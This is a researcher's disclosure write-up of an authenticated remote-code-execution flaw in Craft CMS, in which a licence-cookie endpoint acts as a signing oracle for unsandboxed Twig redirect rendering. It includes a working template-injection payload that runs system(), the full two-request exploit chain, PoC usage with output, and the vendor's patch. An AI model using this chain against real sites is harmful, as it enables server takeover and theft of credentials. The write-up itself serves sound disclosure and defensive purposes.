Craft CMS Authenticated RCE via Signed-Cookie Redirect Confusion
TL;DR
- I found authenticated RCE in Craft CMS using a regular account, with no control panel access.
- The endpoint that dismisses licence warnings signs attacker-supplied cookie values with the same key and format used to validate redirects.
- Craft accepts the signed cookie as a redirect and renders its contents as Twig without a sandbox.
- Commands run with the PHP worker's permissions.
- The same unsandboxed renderer is reachable with no account at all during a database outage.
- Craft fixed the signing endpoint as CVE-2026-92592, leaving the redirect renderer unchanged.
Summary
- CVE: CVE-2026-92592
- Product: Craft CMS (
craftcms/cms) - Vulnerability: Authenticated Server-Side Template Injection via Signed-Cookie/Redirect Confusion
- Affected Versions:
>= 5.0.0, < 5.10.13and>= 4.8.0, < 4.18.6 - Fixed In: 5.10.13 and 4.18.6
- Severity: High
- CVSS Severity: 8.8 (high)
- Required Privilege: Authenticated user
- Advisory: GHSA-5r92-75j8-c534
- Reported: July 22, 2026
- NVD Published: September 16, 2026
Introduction
[A]I had been picking through Craft's signed-value machinery, the handful of places where the framework hands a browser a value it will trust later because it carries an HMAC. Signed redirect params, signed cookies, the CSRF cookie, preview tokens. They all lean on one secret, securityKey, and a signed value carries no record of which of them produced it. I wanted to know whether any two shared enough of a format that one could stand in for another.
Craft renders a signed redirect as an object template before sending the browser anywhere, filling in model values as it goes. I already knew from work in this codebase that these object templates use Twig without a sandbox.
The last piece was somewhere a low-privilege user could get Craft to sign an arbitrary value. The control panel's licence-warning dismissal signs one, from a hash param whose format it never checks.
Root Cause Analysis
The Redirect That Renders
After a successful action, Craft frequently sends the user to a posted redirect URL. The value is attacker-supplied, so it is validated first, in Controller::getPostedRedirectUrl().
// src/web/Controller.php
protected function getPostedRedirectUrl(?object $object = null): ?string
{
$url = $this->request->getValidatedBodyParam('redirect'); // [1] Rejects an unsigned value.
if ($url && $object) {
$url = $this->getView()->renderObjectTemplate($url, $object); // [2] Rendered against the model.
}
// ... redirectParams handling omitted ...
return $url;
}
The signature check at [1] normally keeps this safe. A redirect string only reaches the render at [2] if the server signed it, and only a template author can put a signed one there. The render at [2] calls renderObjectTemplate(), from View.php.
// src/web/View.php
public function renderObjectTemplate(string $template, mixed $object, array $variables = [], string $templateMode = self::TEMPLATE_MODE_SITE): string
{
// If there are no dynamic tags, just return the template
if (!str_contains($template, '{')) {
return trim($template);
}
// ... template mode and strict-variables handling omitted ...
$twig->setDefaultEscaperStrategy(false); // [3] Escaping off, no sandbox.
// ... normalises "{var}" shortcuts, then renders with the object's fields as variables ...
At [3] the renderer runs in the ordinary Twig environment. Craft ships a sandboxed variant, renderSandboxedObjectTemplate().
// src/web/View.php
public function renderSandboxedObjectTemplate(
string $template,
mixed $object,
array $variables = [],
string $templateMode = self::TEMPLATE_MODE_SITE,
): string {
return $this->sandbox(fn() => $this->renderObjectTemplate($template, $object, $variables, $templateMode), $templateMode); // [4] Sandboxed wrapper, unused here.
}
A PHP Callable Inside Twig
The redirect path calls the plain renderer, not the sandboxed wrapper at [4]. Outside the sandbox, Twig will call a PHP function named by a string. Twig's map filter applies a callback to each element of an array and checks that callback first, from CoreExtension.php.
// src/Extension/CoreExtension.php
public static function map(Environment $env, bool $isSandboxed, $array, $arrow)
{
if (!is_iterable($array)) {
throw new RuntimeError(\sprintf('The "map" filter expects a sequence or a mapping, got "%s".', get_debug_type($array)));
}
self::checkArrow($isSandboxed, $arrow, 'map', 'filter'); // [5] The only callback guard.
$r = [];
foreach ($array as $k => $v) {
$r[$k] = $arrow($v, $k); // [6] Invokes the callback.
}
return $r;
}
The guard at [5] is checkArrow(), and whatever clears it is called once per element at [6].
// src/Extension/CoreExtension.php
public static function checkArrow(bool $isSandboxed, $arrow, $thing, $type)
{
if ($arrow instanceof \Closure) {
return;
}
if ($isSandboxed) {
throw new RuntimeError(\sprintf('The callable passed to the "%s" %s must be a Closure in sandbox mode.', $thing, $type));
}
trigger_deprecation('twig/twig', '3.15', 'Passing a callable that is not a PHP \Closure as an argument to the "%s" %s is deprecated.', $thing, $type); // [7] Non-Closure passes outside sandbox.
}
A Closure passes unconditionally. The string system is rejected only when $isSandboxed is true, so outside the sandbox it slips through with only the deprecation notice at [7]. The redirect renderer never enters the sandbox, so {{ ['id']|map('system')|join }} becomes system('id').
A Signature in the Way
Request::getValidatedBodyParam() verifies a posted value.
// src/web/Request.php
public function getValidatedBodyParam(string $name): ?string
{
$value = $this->getBodyParam($name);
if ($value === null) {
return null;
}
$value = Craft::$app->getSecurity()->validateData($value); // [8] Checks the HMAC.
if ($value === false) {
throw new BadRequestHttpException('Request contained an invalid body param');
}
return $value;
}
The call to validateData() at [8] expects HMAC || data, recomputes the HMAC over data, and returns data only if it matches. Post an unsigned Twig payload as redirect and this throws before the renderer is reached. To get past it you need a value the server signed with that key, and you are not meant to have one.
The Signing Oracle
Craft hands one out through an endpoint that has nothing to do with redirects. AppController::actionSetLicenseShunCookie() exists so the control panel can dismiss a licensing warning, and it stores whatever hash it is given.
// src/controllers/AppController.php
public function actionSetLicenseShunCookie(): Response
{
$cookieName = App::licenseShunCookieName();
$oldCookie = $this->request->getCookies()->get($cookieName);
$data = $oldCookie ? Json::decode($oldCookie->value) : [];
$newCookie = new Cookie(Craft::cookieConfig([
'name' => $cookieName,
'value' => Json::encode([
'hash' => $this->request->getRequiredBodyParam('hash'), // [9] Attacker value into the cookie.
'timestamp' => DateTimeHelper::toIso8601(DateTimeHelper::now()),
'count' => ($data['count'] ?? 0) + 1,
]),
'expire' => DateTimeHelper::now()->modify('+1 year')->getTimestamp(),
], $this->request));
$this->response->getCookies()->add($newCookie); // [10] Response cookie, signed on send.
return $this->asSuccess();
}
The action is not on the anonymous allowlist, so a guest is turned away. For a site request the access check only throws for guests, so any logged-in user, however low their privileges, can post a hash. Craft builds a response cookie whose payload embeds it at [9] and adds it to the response at [10]. That cookie is signed where every response cookie is, in Yii's Response::sendCookies().
// framework/web/Response.php
if ($expire != 1 && isset($validationKey)) {
$value = Yii::$app->getSecurity()->hashData(serialize([$cookie->name, $value]), $validationKey); // [11] Signs serialize([name, value]).
}
The line at [11] serialises [name, value], HMACs it, and prepends the hash, so the Set-Cookie value the attacker gets back is HMAC || serialize([cookieName, {"hash":"<payload>", ...}]), a server-signed blob whose data section contains their hash string verbatim.
One Key, Two Purposes
The cookie signature and the redirect signature use the same key and the same envelope. Craft sets Yii's cookieValidationKey from securityKey, in App::webRequestConfig().
// src/helpers/App.php
$config = [
'class' => WebRequest::class,
'enableCookieValidation' => true,
'cookieValidationKey' => $generalConfig->securityKey, // [12] Cookie key is securityKey.
// ... csrf and other request config omitted ...
];
Cookies are signed with the global securityKey at [12], and the method behind the redirect check, Security::validateData(), falls back to the same key when the caller passes none.
// src/services/Security.php
public function validateData($data, #[SensitiveParameter] $key = null, $rawHash = false): string|false
{
if ($key === null) {
$key = Craft::$app->getConfig()->getGeneral()->securityKey; // [13] Defaults to the same key.
}
return parent::validateData($data, $key, $rawHash);
}
Both operations bottom out in Yii's Security, with that same default key at [13], and hashData() builds the envelope by concatenating the hash with the data.
// framework/base/Security.php
public function hashData($data, $key, $rawHash = false)
{
$hash = hash_hmac($this->macHash, $data, $key, $rawHash);
// ... failure check omitted ...
return $hash . $data; // [14] HMAC covers only the bytes.
}
The return at [14] is the hash followed by the data, and it records nothing about what the value was signed for.
So the blob the cookie endpoint produced is a value validateData() will accept. Feed it to getValidatedBodyParam('redirect') and the check passes and returns the serialised data as the redirect string. That string still contains the attacker's Twig expression, sitting inside the JSON, inside the serialised array. renderObjectTemplate() only cares that the string contains a {, and the surrounding cookie framing is inert text that renders to itself.
From Login to Render
The render only fires when a code path accepts a redirect and passes a model to getPostedRedirectUrl(). On a GET request from a user who is already signed in, UsersController::actionLogin() hands the current user straight to _handleSuccessfulLogin(), which responds with that user as the model.
// src/controllers/UsersController.php
// If this was an Ajax request, just return success:true
if ($this->request->getAcceptsJson()) {
$return = [
'returnUrl' => $returnUrl,
];
// ... csrf token added to $return ...
return $this->asModelSuccess($user, modelName: 'user', data: $return); // [15] The current User.
}
asModelSuccess() takes the user from [15] and calls getPostedRedirectUrl() with it.
// src/web/Controller.php
return $this->asSuccess(
$message,
$data,
$redirect ?? $this->getPostedRedirectUrl($model), // [16] Non-null model, so rendered.
$notificationSettings,
);
The fallback at [16] passes that non-null User into getPostedRedirectUrl(), so the render runs against the attacker's own user record.
Impact
An authenticated low-privilege attacker runs arbitrary commands as the PHP worker. In the Docker lab that is www-data. They can read .env for the database credentials and CRAFT_SECURITY_KEY, read whatever else the worker can, write to storage/ and web/cpresources/, and pivot with those credentials.
Any account that can log in to the front end is enough, with no control panel permissions at all. On a site with public registration or Commerce customer accounts, the attacker can make their own.
The database fail-open RCE reaches the same renderer without authentication.
Exploitation
Preconditions
- Craft CMS
>= 5.0.0, < 5.10.13or>= 4.8.0, < 4.18.6, with PHP'ssystem()callable (passthru()works too). - An account that can log in to the live site. No admin flag, no
accessCp, noeditUsers. - The default request configuration, so
cookieValidationKeyand signed request params both usesecurityKey.
Signing the Payload
The first request looks like a licensing-cookie update. It carries the Twig expression as hash.
POST /index.php?p=actions/app/set-license-shun-cookie HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
Accept: application/json
X-CSRF-Token: CSRF_TOKEN
Cookie: CraftSessionId=SESSION; CRAFT_CSRF_TOKEN=CSRF_COOKIE
hash={{ ['id']|map('system')|join }}
Craft answers with a signed cookie whose data section embeds that payload. URL-decoding the cookie value gives the envelope HMAC || serialize([cookieName, {"hash":"{{ ['id']|map('system')|join }}", "timestamp":..., "count":1}]).
Replaying It As a Redirect
The attacker is already logged in, since the signing step needed it, so the second request just replays the signed value on that session. It posts to users/login with the method overridden to GET, which takes the already-signed-in branch, and hands the decoded envelope back as redirect. The licence-shun cookie is omitted so the value is only ever seen as a redirect.
POST /index.php?p=actions/users/login HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
Accept: application/json
X-Http-Method-Override: GET
X-CSRF-Token: CSRF_TOKEN
Cookie: CraftSessionId=SESSION; CRAFT_CSRF_TOKEN=CSRF_COOKIE
redirect=<url-decoded envelope>
actionLogin() sees a GET from a signed-in user and calls _handleSuccessfulLogin(), getValidatedBodyParam() accepts the signature, getPostedRedirectUrl() renders the string against that user, and system('id') runs. Twig's render() evaluates the object template inside an output buffer, so the command's stdout is captured into the rendered string and returned as the response's redirect field.
PoC
The PoC signed_redirect_rce.py makes both requests and reads the command output from the returned redirect field. It base64-wraps the command so shell metacharacters do not have to survive the serialised cookie framing.
python3 signed_redirect_rce.py --url https://target.example --username editor --password '<password>' --command id
Against a local Craft 5.10.11 instance with a non-admin account:
____ ____ _ _____ _____
/ ___| _ \ / \ | ___|_ _|
| | | |_) | / _ \ | |_ | |
| |___| _ < / ___ \| _| | |
\____|_| \_\/_/ \_\_| |_|
authenticated signed-cookie/redirect RCE · CVE-2026-92592
discovered by CryptoCat · cryptocat.me
[*] Authenticating as editor
[+] Session established as user 2
[*] Signing Twig payload through the license-shun cookie endpoint
[+] Server-signed envelope obtained (337 bytes)
[*] Replaying the envelope as redirect (X-Http-Method-Override: GET)
[+] command output
------------------------------------------------------------
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Patch Diffing
Craft fixed this in 5.10.13 and 4.18.6 by constraining what the cookie endpoint will sign. A license-shun value is always an MD5 digest of a license key, so the endpoint now rejects anything that is not one, from AppController.php.
// src/controllers/AppController.php (actionSetLicenseShunCookie)
public function actionSetLicenseShunCookie(): Response
{
+ $hash = $this->request->getRequiredBodyParam('hash');
+
+ if (!StringHelper::isMd5($hash)) {
+ throw new BadRequestHttpException('Invalid hash');
+ }
+
$cookieName = App::licenseShunCookieName();
$oldCookie = $this->request->getCookies()->get($cookieName);
$data = $oldCookie ? Json::decode($oldCookie->value) : [];
StringHelper::isMd5() accepts only a 32-character hex string, and Craft stores the same $hash it checked, so a Twig expression can no longer be signed through this endpoint. The redirect renderer is unchanged and still runs without a sandbox in 5.10.13.
Remediation
Update to Craft CMS 5.10.13 or later on 5.x, or 4.18.6 or later on 4.x, which reject a non-MD5 hash as shown above.
If you can't update immediately, disabling system() and passthru() through disable_functions blocks the command functions used here. It still leaves an attacker-controlled callable, so it is a temporary mitigation.
Disclosure Timeline
- July 22, 2026: Reported privately to Craft CMS with a PoC and a proposed fix.
- July 23, 2026: Triaged and accepted as high severity.
- August 4, 2026: Fixed in Craft CMS 5.10.13 and 4.18.6.
- September 1, 2026: GHSA-5r92-75j8-c534 published.
- September 16, 2026: CVE-2026-92592 assigned.
Conclusion
One key signs both cookies and redirect params, and the envelope records nothing about which purpose it was signed for, so a value the licence endpoint signed validates as a redirect. Craft fixed the endpoint that does the signing, and the renderer still runs without a sandbox.
Published the same day, GHSA-5jmw-g85v-7jv2 reaches the same renderer through a signed returnUrl. The advisory treats it as an incomplete fix of CVE-2026-55794.
References
- GHSA-5r92-75j8-c534: authenticated RCE through signed-cookie/redirect confusion
- NVD: CVE-2026-92592
- GHSA-5jmw-g85v-7jv2: incomplete fix for CVE-2026-55794, unsandboxed Twig SSTI via a second signing oracle (CVE-2026-92593)
- Craft CMS 5.10.13 release
- Craft CMS 4.18.6 release
- Companion PoC repository: Crypto-Cat/craftcms-2026-pocs
- Craft CMS database fail-open disclosure to RCE writeup
- PortSwigger: server-side template injection
- PHP: callbacks and callables